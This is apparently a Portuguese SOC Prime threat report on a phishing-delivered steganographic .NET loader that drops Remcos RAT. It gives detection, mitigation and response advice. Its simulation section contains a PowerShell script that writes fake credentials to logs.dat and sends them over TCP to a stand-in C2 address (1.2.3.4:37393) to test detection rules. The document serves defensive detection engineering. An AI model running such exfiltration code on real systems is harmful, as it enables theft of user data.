SOC Prime Bias: Alta

24 Jun 2026 06:40 UTC

Uma campanha de carregador esteganográfico em várias etapas que implanta cargas diversas em todo o mundo

Author Photo
SOC Prime Team linkedin icon Seguir
Uma campanha de carregador esteganográfico em várias etapas que implanta cargas diversas em todo o mundo
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma campanha de malware em várias etapas depende de esteganografia e execução na memória para entregar múltiplas cargas, incluindo o Remcos RAT. A cadeia de infecção começa com um e-mail de phishing carregando um arquivo malicioso que solta um executável .NET. Esse executável usa recursos embutidos e métodos esteganográficos para carregar estágios posteriores diretamente na memória, ajudando o malware a evitar a detecção baseada em disco.

Investigação

A investigação começou após a telemetria sinalizar um arquivo suspeito nomeado GST Debit Note Apr_26.com. Os analistas determinaram que o arquivo era um executável .NET de 32 bits empacotado disfarçado de um jogo. Uma engenharia reversa mais aprofundada revelou esteganografia embutida em um objeto Bitmap .NET, que ocultava o carregador da próxima etapa, Optimax.dll, e permitia a sua execução totalmente na memória.

Mitigação

As organizações devem implantar filtragem de e-mails robusta para bloquear anexos de arquivo suspeitos e tentativas de phishing. Soluções EDR devem ser capazes de detectar execuções na memória, oco de processo e comportamento suspeito do PowerShell. As equipes também devem monitorar mudanças não autorizadas no registro, especialmente nas chaves de execução, e impor controle de aplicação rigoroso para evitar que executáveis não assinados sejam lançados.

Resposta

Os endpoints afetados devem ser isolados imediatamente para limitar o movimento lateral e o roubo de dados. Os investigadores devem realizar uma análise de memória para identificar componentes sem arquivo e confirmar a presença de Remcos_Mutex_Inj mutex. Um rastreamento completo também deve verificar por persistência não autorizada no diretório AppData e nas chaves de execução do registro, enquanto as credenciais devem ser redefinidas para quaisquer usuários cujos navegadores possam ter sido acessados pelo malware.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing["<b>Action</b> – <b idea='T1566.001'>Phishing: Spearphishing Attachment</b><br/><b>Details</b>: Malicious archive GST Debit Note Apr_26.com sent to victims."] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego["<b idea='T1027.003'>Obfuscated Files or Information: Steganography</b><br/><b>Details</b>: Hiding Optimax.dll inside a serialized .NET Bitmap object<br/>within the executable resource section."] class evasion_stego technique exec_appdomain["<b idea='T1574.014'>Hijack Execution Flow: AppDomainManager</b><br/><b>Details</b>: Using reflection and AppDomain.Load to execute<br/>payload directly from memory without touching disk."] class exec_appdomain technique %% Second Stage loader_stage2["<b idea='T1055.012'>Process Injection: Process Hollowing</b><br/><b>Details</b>: System Optimizer Ultimate.dll deploys final payload<br/>by hollowing a default browser process."] class loader_stage2 technique malware_remcos["<b idea='Malware'>Remcos RAT</b><br/><b>Description</b>: Remote Access Trojan deployed<br/>as the final payload."] class malware_remcos malware %% Persistence and Evasion evasion_sandbox["<b idea='T1497'>Virtualization/Sandbox Evasion</b><br/><b>Details</b>: Checking for sbiedll.dll and registry keys<br/>to detect sandboxes or virtual machines."] class evasion_sandbox technique persistence_active["<b idea='T1547.014'>Boot or Logon Autostart Execution: Active Setup</b><br/><b>Details</b>: Copying malware to AppDataRoaming and<br/>configuring a Run registry key for persistence."] class persistence_active technique %% Collection and Exfiltration collect_browser["<b idea='T1217'>Browser Information Discovery</b><br/><b>Details</b>: Collecting Chrome and Firefox credentials."] class collect_browser technique steal_cookies["<b idea='T1539'>Steal Web Session Cookie</b><br/><b>Details</b>: Capturing active web session cookies."] class steal_cookies technique exfil_c2["<b idea='T1041'>Exfiltration Over C2 Channel</b><br/><b>Details</b>: Sending captured data from logs.dat<br/>to the attacker via Command and Control."] class exfil_c2 technique file_logs["<b idea='File'>logs.dat</b><br/><b>Description</b>: Local file used to store

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Preparação de Telemetria e Linha de Base deve ter sido aprovado.

Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

  • Narrativa de Ataque & Comandos: O adversário estabeleceu com sucesso um ponto de acesso. Para completar o objetivo, eles coletam a telemetria do sistema e a escondem em um arquivo chamado logs.dat para se disfarçar como logs de sistema padrão. O adversário então inicia uma conexão de rede com a infraestrutura C2 estabelecida (usando o IP 1.2.3.4 e porta 37393 para esta simulação) para exfiltrar os dados. Isso imita o comportamento de um carregador esteganográfico tentando mover dados para fora da rede através de um canal específico e codificado.

  • Script de Teste de Regressão:

    # Simulação de Exfiltração de Dados via nome de arquivo específico e parâmetros C2
    $C2_IP = "1.2.3.4" # IP C2 Simulado
    $C2_PORT = 37393
    $FILENAME = "logs.dat"
    
    # 1. Criar o arquivo de dados 'malicioso'
    Write-Output "Dados Sensíveis: SenhaAdmin_Usuario" | Out-File -FilePath "$env:TEMP$FILENAME"
    
    # 2. Simular a conexão de rede para o C2
    # Usando um Cliente TCP para forçar a telemetria específica de porta/IP
    try {
        $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
        $stream = $client.GetStream()
        $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
        $stream.Write($data, 0, $data.Length)
        $client.Close()
    } catch {
        Write-Host "Conexão falhou (Esperado se o IP não existir), mas a telemetria deve ser capturada pelo firewall."
    }
  • Comandos de Limpeza:

    # Remover o arquivo malicioso simulado
    Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue